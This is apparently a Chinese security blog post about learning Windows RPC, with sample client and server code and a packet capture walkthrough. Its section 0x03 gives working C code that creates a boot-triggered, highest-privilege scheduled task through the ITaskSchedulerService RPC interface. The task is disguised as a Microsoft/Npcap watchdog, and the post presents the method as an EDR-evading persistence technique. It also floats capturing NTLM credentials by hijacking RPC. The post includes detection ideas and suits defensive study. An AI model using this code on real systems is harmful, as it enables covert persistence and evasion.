RPC学习与测试

对rpc接口调用进行学习与开发落地测试,利用rpc ITaskSchedulerService接口创建计划任务

Posted by Ga0weI on June 30, 2025

0x01 前言

背景

逆向分析相关样本的时候,经常看到有一些通过rpc实现相关目的的操作,从而绕过一些edr的监测,于是准备稍加学习下相关内容。

RPC介绍

RPC(Remote Produce Call)远程过程调用,在windows上是(远程)进程间通信的机制,其使用的协议一般分为两种,发送Local请求时使用ncalrpc协议,发送Remote请求时使用ncacn_ip_tcp协议,还有ncacn_np。

注意:RPC只是Windows中使用的众多 IPC(进程间通信)机制之一。

0x02 开发

MIDL

为了统一客户端与服务端不同平台处理不同的实现,于是有了IDL语言。IDL文件由一个或多个接口定义组成,每一个接口定义都有一个接口头和一个接口体,接口头包含了使用此接口的信息(UUID和接口版本),接口体包含了接口函数的原型。

ex:helloworld_c.c

1
2
3
4
5
6
7
8
9
10
11
12
//IDL文件由一个或多个接口定义组成,每一个接口定义都有一个接口头和一个接口体,接口头包含了使用此接口的信息(UUID和接口版本),接口体包含了接口函数的原型。

[
    uuid(7a98c250-6808-11cf-b73b-00aa00b677a7),
        version(1.0)
]

interface hello
{
    void HelloProc([in, string] unsigned char* pszString);
    void Shutdown(void);
}

通过midl.exe(windowskit 安装的时候带的)编译(这里直接使用visualstudio编译即可)生成三个文件,一个头文件,一个客户端文件,一个服务端文件。

image-20250629124232455

AFC

RPC应用程序使用 ACF 文件来描述特定于硬件和操作系统的接口的特性,和IDL文件一起由MIDL编译,所以MIDL编译器可以为不同的平台和系统版本生成代码,这并非是必须的。

由它们(ACF/IDL)编译生成后的文件用于描述调用方和被调用过程之间的数据交换和函数原型和参数传递机制。

ex:hellowordl.acf

1
2
3
4
5
6
7
[
    implicit_handle (handle_t hello_IfHandle)
] 
interface hello
{
}

这里把helloword.acf放置到和helloworld.idl同级的项目中重新编译即可,在新的编译生成的hello_x.h/c文件中查找关键词IfHandle,如果存在的话那么acf文件就应用上了

image-20250629124645948

RPC的BindingHandle

BindingHandle,是在客户端程序和服务器程序之间创建逻辑连接的过程。构成客户端和服务器之间的绑定的信息由称为绑定句柄的结构表示。

一般分为三种类型:

  • Automatic Binding Handles
  • Implicit Binding Handles
  • Explicit Binding Handles

differences between automatic, implicit, and explicit binding handles

自动的绑定句柄,隐式的绑定句柄,显示的绑定句柄;

区别:绑定句柄可以是自动的、隐式的或显式的。它们在应用程序对绑定过程的控制量上有所不同。顾名思义,自动绑定处理自动绑定。客户端和服务器应用程序不需要代码来处理绑定过程。隐式绑定句柄允许客户端程序在绑定发生之前配置绑定句柄。客户端建立绑定后,RPC 运行时库将处理其余部分。显式绑定句柄将对绑定过程的完全控制移动到客户端和服务器程序的源代码中。这种控制会增加复杂性。您的应用程序必须调用 RPC 函数来管理绑定。它不会自动发生。建议使用显式绑定句柄。

笔者理解这里就是就是做的事情多少,显示的绑定句柄需要我们做的事情最多,自动的绑定句柄反之。

一般使用隐式绑定的最多,如下是三个不同的绑定句柄在调用实现的时候的区别。

img

客户端

案例:

客户端中编写实现通过指定协议(ncacn_np、ncacn_ip_tcp、ncalrpc)连接管道hello调用HelloProc、shutdown。

基础步骤:

  • 1、创建StringBinding对象用于描述连接服务端的信息
  • 2、利用StringBinding初始化BindingHandle对象
  • 3、调用远程服务HelloProc/Shutdown
  • 4、释放内存
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <windows.h>
#include "../rpcstudy/helloworld_h.h"

#pragma comment(lib,"RpcRT4.lib")


// 参考文章:https://learn.microsoft.com/en-us/windows/win32/rpc/the-client-application

int main() {

    RPC_STATUS status;
    unsigned char* pszUuid = NULL;
    unsigned char* pszProtocolSequence = (unsigned char*)"ncalrpc";
    unsigned char* pszNetworkAddress = NULL;
    unsigned char* pszEndpoint = (unsigned char*)"\\pipe\\hello";
    unsigned char* pszOptions = NULL;
    unsigned char* pszStringBinding = NULL;
    unsigned char* pszString = (unsigned char*)"hello, world";
    unsigned long ulCode;

    // 创建StringBinding对象用于描述连接服务端的信息
    status = RpcStringBindingCompose(pszUuid,
        pszProtocolSequence,
        pszNetworkAddress,
        pszEndpoint,
        pszOptions,
        &pszStringBinding);
    if (status) {
        printf("Invoke RpcStringBindingCompose Error,errorcode:%d\n",GetLastError());
        exit(status);
    }

    // StringBinding对象转换为BindingHandle对象
    status = RpcBindingFromStringBinding(pszStringBinding, &hello_IfHandle);
    if (status) {
        printf("Invoke RpcBindingFromStringBinding Error\n");
        exit(status);
    }

    // 调用远程服务
    RpcTryExcept
    {
        HelloProc(pszString);
        Shutdown();
    }
        RpcExcept(1)
    {
        ulCode = RpcExceptionCode();
        printf("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
    }
    RpcEndExcept;

    // 释放StringBinding指针
    status = RpcStringFree(&pszStringBinding);
    if (status) {
        printf("Invoke RpcStringFree Error\n");
        exit(status);
    }

    // 释放hello_IfHandle句柄
    status = RpcBindingFree(&hello_IfHandle);
    if (status) {
        printf("Invoke RpcBindingFree Error\n");
        exit(status);
    }


    return 0;
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
    free(ptr);
}

服务端

注册指定接口,然后监听,并·实现(idl里面定义的)相关函数。

基础步骤,

  • 1、指定在RPC运行时使用的协议序列
  • 2、注册接口,使其指定接口能够被用于RPC远程调用
  • 3、开启RPC服务器监听
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include "../rpcstudy/helloworld_h.h"
#include <windows.h>
#pragma comment(lib,"RpcRT4.lib")
#pragma warning(disable : 28251)


// 参考文章:https://learn.microsoft.com/en-us/windows/win32/rpc/the-server-application

int main() {

    RPC_STATUS status;
    unsigned char* pszProtocolSequence = (unsigned char *)"ncalrpc";
    unsigned char* pszSecurity = NULL;
    unsigned char* pszEndpoint = (unsigned char *)"\\pipe\\hello";
    unsigned int    cMinCalls = 1;
    unsigned int    fDontWait = FALSE;

    // 指定在RPC运行时使用的协议序列
    // https://learn.microsoft.com/en-us/windows/win32/rpc/making-the-server-available-on-the-network
    status = RpcServerUseProtseqEp(
        pszProtocolSequence,                   // 选择 ncacn_ip_tcp 协议序列
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,    // Protseq-dependent parameter
        pszEndpoint, // 端点
        NULL);                             // Always specify NULL here.
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerUseProtseqEp Error,error code:%d\nreturncode:%d\n",GetLastError(),status);
        exit(status);
    }

    printf("Invoke RpcServerUseProtseqEp\n");

    // 注册接口,使其指定接口能够被用于RPC远程调用
    status = RpcServerRegisterIf(hello_v1_0_s_ifspec, NULL, NULL);
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerRegisterIf Error\n");
        exit(status);
    }

    printf("Invoke RpcServerRegisterIf\n");

    // 开启监听服务在服务器上面
    status = RpcServerListen(
        cMinCalls,
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,
        fDontWait);
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerListen Error\n");
        exit(status);
    }
    printf("Invoke RpcServerListen\n");
    return 0;
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
    free(ptr);
}

void HelloProc(unsigned char* pszString) {
    printf("Server received: %s\n", pszString);
}


void Shutdown() {
    printf("Server exec shutdown\n");
}

效果:

运行服务端,可以看到如下。

image-20250629130821355

image-20250629130924682

升级 支持远程调用并开启验证

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <windows.h>
#include "../rpcstudy/helloworld_h.h"

#pragma comment(lib,"RpcRT4.lib")


// 参考文章:https://learn.microsoft.com/en-us/windows/win32/rpc/the-client-application

int main() {

    RPC_STATUS status;
    unsigned char* pszUuid = NULL;
    //unsigned char* pszProtocolSequence = (unsigned char*)"ncacn_np";  //smb
    //unsigned char* pszEndpoint = (unsigned char*)"\\pipe\\hello";  
    //unsigned char* pszNetworkAddress = NULL;

    //unsigned char* pszProtocolSequence = (unsigned char*)"ncalrpc";  //本地
    //unsigned char* pszEndpoint = (unsigned char*)"My_hello";
    //unsigned char* pszNetworkAddress = NULL


    unsigned char* pszProtocolSequence = (unsigned char*)"ncacn_ip_tcp";
    unsigned char* pszEndpoint = (unsigned char*)"9000";
    unsigned char* pszNetworkAddress = (unsigned char*)"192.168.44.1";
    
    unsigned char* pszOptions = NULL;
    unsigned char* pszStringBinding = NULL;
    unsigned char* pszString = (unsigned char*)"hello, world";
    unsigned long ulCode;

    // 创建StringBinding对象用于描述连接服务端的信息
    status = RpcStringBindingCompose(pszUuid,
        pszProtocolSequence,
        pszNetworkAddress,
        pszEndpoint,
        pszOptions,
        &pszStringBinding);
    if (status) {
        printf("Invoke RpcStringBindingCompose Error,errorcode:%d\n",GetLastError());
        exit(status);
    }

    // StringBinding对象转换为BindingHandle对象
    status = RpcBindingFromStringBinding(pszStringBinding, &hello_IfHandle);
    if (status) {
        printf("Invoke RpcBindingFromStringBinding Error\n");
        exit(status);
    }


    //  准备身份凭据
    SEC_WINNT_AUTH_IDENTITY_A authIdent = { 0 };

    authIdent.User = (unsigned char*)"administrator";//用户
    authIdent.UserLength = (ULONG)strlen((char*)authIdent.User);

    authIdent.Domain = NULL;  
    authIdent.DomainLength = NULL;

    authIdent.Password = (unsigned char*)"xxxxxxxx";//密码
    authIdent.PasswordLength = (ULONG)strlen((char*)authIdent.Password);

    authIdent.Flags = SEC_WINNT_AUTH_IDENTITY_ANSI;

    // 为用设置身份认证信息
    status = RpcBindingSetAuthInfoA(
        hello_IfHandle,
        NULL,                            // ServerPrincipalName, NULL for default
        RPC_C_AUTHN_LEVEL_CONNECT,       // Connect-level authentication
        RPC_C_AUTHN_WINNT,               // NTLM or Kerberos
        &authIdent,                      // our identity
        0);                              // Authorization service (default)

    if (status) {
        printf("RpcBindingSetAuthInfoA failed: %d\n", status);
        return 1;
    }


    // 调用远程服务
    RpcTryExcept
    {
        HelloProc(pszString);
        Shutdown();
    }
        RpcExcept(1)
    {
        ulCode = RpcExceptionCode();
        printf("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
    }
    RpcEndExcept;

    // 释放StringBinding指针
    status = RpcStringFree(&pszStringBinding);
    if (status) {
        printf("Invoke RpcStringFree Error\n");
        exit(status);
    }

    // 释放hello_IfHandle句柄
    status = RpcBindingFree(&hello_IfHandle);
    if (status) {
        printf("Invoke RpcBindingFree Error\n");
        exit(status);
    }


    return 0;
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
    free(ptr);
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include "../rpcstudy/helloworld_h.h"
#include <windows.h>
#pragma comment(lib,"RpcRT4.lib")
#pragma warning(disable : 28251)


// 参考文章:https://learn.microsoft.com/en-us/windows/win32/rpc/the-server-application

//# 远程校验函数
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE hInterface, void* pContext)
{
    return RPC_S_OK; // 放行认证连接
}

int main() {

    RPC_STATUS status;
    //unsigned char* pszProtocolSequence = (unsigned char *)"ncacn_np";
    //unsigned char* pszEndpoint = (unsigned char*)"\\pipe\\hello";

    //unsigned char* pszProtocolSequence = (unsigned char *)"ncalrpc";
    //unsigned char* pszEndpoint = (unsigned char *)"My_hello";


    unsigned char* pszProtocolSequence = (unsigned char*)"ncacn_ip_tcp";
    unsigned char* pszEndpoint = (unsigned char*)"9000";

    unsigned char* pszSecurity = NULL;
    unsigned int    cMinCalls = 1;
    unsigned int    fDontWait = FALSE;

    // 指定在RPC运行时使用的协议序列
    // https://learn.microsoft.com/en-us/windows/win32/rpc/making-the-server-available-on-the-network
    status = RpcServerUseProtseqEp(
        pszProtocolSequence,                   // 选择 协议序列
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,    // Protseq-dependent parameter
        pszEndpoint, // 端点
        NULL);                             // Always specify NULL here.
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerUseProtseqEp Error,error code:%d\nreturncode:%d\n",GetLastError(),status);
        exit(status);
    }

    printf("Invoke RpcServerUseProtseqEp\n");

    //// 注册接口,使其指定接口能够被用于RPC远程调用
    //status = RpcServerRegisterIf(hello_v1_0_s_ifspec, NULL, NULL);
    //if (status != RPC_S_OK) {
    //    printf("Invoke RpcServerRegisterIf Error\n");
    //    exit(status);
    //}

    //注册接口,使其指定接口能够被用于RPC远程调用;和上面区别,远程调用的时候,不做身份验证
    //status = RpcServerRegisterIf2(
    //    hello_v1_0_s_ifspec,
    //    NULL,
    //    NULL,
    //    RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // <--- 放开安全认证
    //    RPC_C_LISTEN_MAX_CALLS_DEFAULT,
    //    (unsigned)-1,
    //    NULL);
    //if (status != RPC_S_OK) {
    //    printf("Invoke RpcServerRegisterIf Error\n");
    //    exit(status);
    //}


    //注册接口,使其指定接口能够被用于RPC远程调用,并且要通过RpcServerRegisterAuthInfoA设置支持远程验证。
    status = RpcServerRegisterAuthInfoA(
        NULL,                   // principal name
        RPC_C_AUTHN_WINNT,      // 启用 Windows NT 认证
        NULL,                   // 使用默认(NTLM)
        NULL);                  // 无身份验证信息

    status = RpcServerRegisterIf2(
        hello_v1_0_s_ifspec,
        NULL,
        NULL,
        0, // 不允许匿名,但可用认证机制
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,
        (unsigned)-1,
        SecurityCallback);
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerRegisterIf Error\n");
        exit(status);
    }
    printf("Invoke RpcServerRegisterIf\n");




    // 开启监听服务在服务器上面
    status = RpcServerListen(
        cMinCalls,
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,
        fDontWait);
    if (status != RPC_S_OK) {
        printf("Invoke RpcServerListen Error\n");
        exit(status);
    }
    printf("Invoke RpcServerListen\n");
    return 0;
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
    free(ptr);
}

void HelloProc(unsigned char* pszString) {
    printf("Server received: %s\n", pszString);
}


void Shutdown() {
    printf("Server exec shutdown\n");
}

效果:

image-20250629162843701

image-20250629140403499

简单看下协议

通过wireshark捕获相关rpc调用。

image-20250629140915112

先是tcp三次握手;

然后dcerpc协议:

1、客户端请求服务端 bind, 里面带上uuid以及版本信息;

2、服务端响应客户端 bind_ack ,其中提到需要认证challenge相关信息;

image-20250629150835711

3、客户端发送auth3认证,提供用户名和ntlm。

image-20250629151114196

4、客户端跟着继续发送对应的调用请,一个ctx,以及传递相关参数。

image-20250629151319771

5、服务端响应对应的调用结果

0x03 利用RPC创建计划任务

分析

之前逆一些黑灰产样本的时候,经常会看到其利用windows的rpc接口来创建计划任务实现权限维持。

其使用的接口是ITaskSchedulerService接口(uuid:86D35949-83C9-4044-B424-DB363231FD0C),对应的接口地址//pipe//atsvc

image-20250629162117084

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <stdio.h>
#include <Windows.h>
#include <sddl.h>
#include "atsvc_h.h"

#pragma comment(lib, "rpcrt4.lib")

#define InterfaceAddress L"\\pipe\\atsvc"
#define UUID L"86D35949-83C9-4044-B424-DB363231FD0C"
#define TASK_CREATE 2

extern const MIDL_STUBLESS_PROXY_INFO ITaskSchedulerService_ProxyInfo;


void* __RPC_USER MIDL_user_allocate(size_t size) {
	return malloc(size);
}

void __RPC_USER MIDL_user_free(void* p) {
	free(p);
}

wchar_t* ConvertSidToWideStringSid(PSID sid)
{
	LPSTR strSid = NULL;
	if (!ConvertSidToStringSidA(sid, &strSid))
	{
		wprintf(L"[!] ConvertSidToStringSidA failed: %d\n", GetLastError());
		return NULL;
	}

	int len = MultiByteToWideChar(CP_ACP, 0, strSid, -1, NULL, 0);
	if (len == 0)
	{
		wprintf(L"[!] MultiByteToWideChar size failed: %d\n", GetLastError());
		LocalFree(strSid);
		return NULL;
	}

	wchar_t* wSid = (wchar_t*)malloc(len * sizeof(wchar_t));
	if (!wSid)
	{
		wprintf(L"[!] malloc failed\n");
		LocalFree(strSid);
		return NULL;
	}

	if (MultiByteToWideChar(CP_ACP, 0, strSid, -1, wSid, len) == 0)
	{
		wprintf(L"[!] MultiByteToWideChar conversion failed: %d\n", GetLastError());
		free(wSid);
		LocalFree(strSid);
		return NULL;
	}

	LocalFree(strSid);
	return wSid;
}
wchar_t* BuildTaskXml(const wchar_t* commandPath)
{
	static wchar_t xmlBuffer[4096];

	char userName[256] = "";
	DWORD nameSize = sizeof(userName);
	GetUserNameA(userName, &nameSize);

	BYTE sid[256] = {};
	DWORD sidSize = sizeof(sid);
	char domain[256] = "";
	DWORD domainSize = sizeof(domain);
	SID_NAME_USE sidType;

	if (!LookupAccountNameA(NULL, userName, sid, &sidSize, domain, &domainSize, &sidType))
	{
		wprintf(L"[!] LookupAccountNameA failed: %d\n", GetLastError());
		return NULL;
	}

	wchar_t* wideSid = ConvertSidToWideStringSid(sid);



	// 拼接 XML
	swprintf(xmlBuffer, 4096,
		L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\n"
		L"<Task version=\"1.3\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\n"
		L"  <RegistrationInfo>\n"
		L"    <Author>Microsoft Corporation</Author>\n"
		L"    <Description>Ensure Npcap service is configured to start at boot</Description>\n"
		L"    <URI>\\Microsoft Corporation</URI>\n"
		L"  </RegistrationInfo>\n"
		L"  <Triggers>\n"
		L"    <BootTrigger>\n"
		L"      <Enabled>true</Enabled>\n"
		L"    </BootTrigger>\n"
		L"  </Triggers>\n"
		L"  <Settings>\n"
		L"    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\n"
		L"    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\n"
		L"    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\n"
		L"    <AllowHardTerminate>true</AllowHardTerminate>\n"
		L"    <StartWhenAvailable>true</StartWhenAvailable>\n"
		L"    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\n"
		L"    <IdleSettings>\n"
		L"      <Duration>PT10M</Duration>\n"
		L"      <WaitTimeout>PT1H</WaitTimeout>\n"
		L"      <StopOnIdleEnd>false</StopOnIdleEnd>\n"
		L"      <RestartOnIdle>false</RestartOnIdle>\n"
		L"    </IdleSettings>\n"
		L"    <AllowStartOnDemand>true</AllowStartOnDemand>\n"
		L"    <Enabled>true</Enabled>\n"
		L"    <Hidden>false</Hidden>\n"
		L"    <RunOnlyIfIdle>false</RunOnlyIfIdle>\n"
		L"    <WakeToRun>false</WakeToRun>\n"
		L"    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\n"
		L"    <Priority>7</Priority>\n"
		L"  </Settings>\n"
		L"  <Actions Context=\"Author\">\n"
		L"    <Exec>\n"
		L"      <Command>%s</Command>\n"
		L"    </Exec>\n"
		L"  </Actions>\n"
		L"  <Principals>\n"
		L"    <Principal id=\"Author\">\n"
		L"      <UserId>%s</UserId>\n"
		L"      <LogonType>S4U</LogonType>\n"
		L"      <RunLevel>HighestAvailable</RunLevel>\n"
		L"    </Principal>\n"
		L"  </Principals>\n"
		L"</Task>\n",
		commandPath, wideSid);

	return xmlBuffer;
}


RPC_BINDING_HANDLE BindtoRpc() {

	RPC_WSTR StringBinding;
	RPC_BINDING_HANDLE bindingHandle;
	RPC_SECURITY_QOS qos = { 0 };

	RpcStringBindingComposeW((RPC_WSTR)UUID, (RPC_WSTR)L"ncacn_np", (RPC_WSTR)L"localhost", (RPC_WSTR)InterfaceAddress, NULL, &StringBinding);

	RPC_STATUS status = RpcBindingFromStringBindingW(StringBinding, &bindingHandle);

	if (status != RPC_S_OK) {
		wprintf(L"[!] RpcBindingFromStringBindingW failed: %d\n", status);
		return NULL;
	}

	qos.Version = 1;
	qos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
	qos.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
	qos.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
	RpcBindingSetAuthInfoExW(bindingHandle, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
		RPC_C_AUTHN_WINNT, NULL, RPC_C_AUTHZ_NONE, &qos);

	RpcStringFreeW(&StringBinding);

	return bindingHandle;
}


VOID AddRemoteJob(RPC_BINDING_HANDLE handle, const wchar_t* cmd) {

	wchar_t* actualPath = NULL;
	TASK_XML_ERROR_INFO* errorInfo = NULL;



	wchar_t* xmlData = BuildTaskXml(cmd);


	NdrClientCall3((PMIDL_STUBLESS_PROXY_INFO)&ITaskSchedulerService_ProxyInfo, 1, NULL, handle, L"\\npcapvvatchdog", xmlData, TASK_CREATE, NULL, 0, 0, NULL, &actualPath, &errorInfo);
}



int main(int argc, char* argv[]) {
	if (argc != 2) {
		printf("Usage: atsvc.exe [command]\n");
		return 1;
	}

	int len = MultiByteToWideChar(CP_ACP, 0, argv[1], -1, NULL, 0);
	wchar_t* wideCommand = new wchar_t[len];
	MultiByteToWideChar(CP_ACP, 0, argv[1], -1, wideCommand, len);

	AddRemoteJob(BindtoRpc(), wideCommand);

	delete[] wideCommand;
	return 0;
}


效果

image-20250629162911404

这里注意,计划任务的名称以及相关属性如创建者等都是可以自己在xml文件中随意编辑的。

image-20250629163641022

image-20250629163722927

image-20250629164302813

0x04 其他

代码

全部代码都在项目:https://github.com/minhangxiaohui/winrpc_testcode

检测

比如针对上述通过rpc创建计划任务的操作如何进行有效检出呢?

笔者认为这里edr对于api维度检出逻辑可能要在NdrClientCall这个发送函数做参数校验检出,也就是说对于直接(通过对堆栈进行扫描判断其调用链是否正常)通过NdrClientCall自拟客户端的rpc调用都需要特别关注。另外这里我们需要考察windows日常操作中相关操作是否会在一些正常程序中出现。

一些主防对于计划任务xml常见落盘目录要做好监控,对于不可信源创建相关xml文件的行为及时阻断。

思考

上面提到rpc接口调用的认证,认证的方式之一就是通过账户名密码来做,有没有可能我们劫持rpc server接口,然后逆向分析相关调用拿到ntlmhash,甚至进一步我们尝试劫持一些系统服务其要的使用的rpc client,我们有没有可能在其构造调用的时候直接或者间接的拿到明文的密钥呢?

代办

(代办)之后补充通过create file、writefile实现写计划任务的操作学习内容。

参考:https://www.x86matthew.com/view_post?id=create_svc_rpc

参考:

https://learn.microsoft.com/en-us/windows/win32/rpc/rpc-start-page

https://www.cnblogs.com/zpchcbd/p/17944418

https://github.com/Arcueld/RPC-schtasks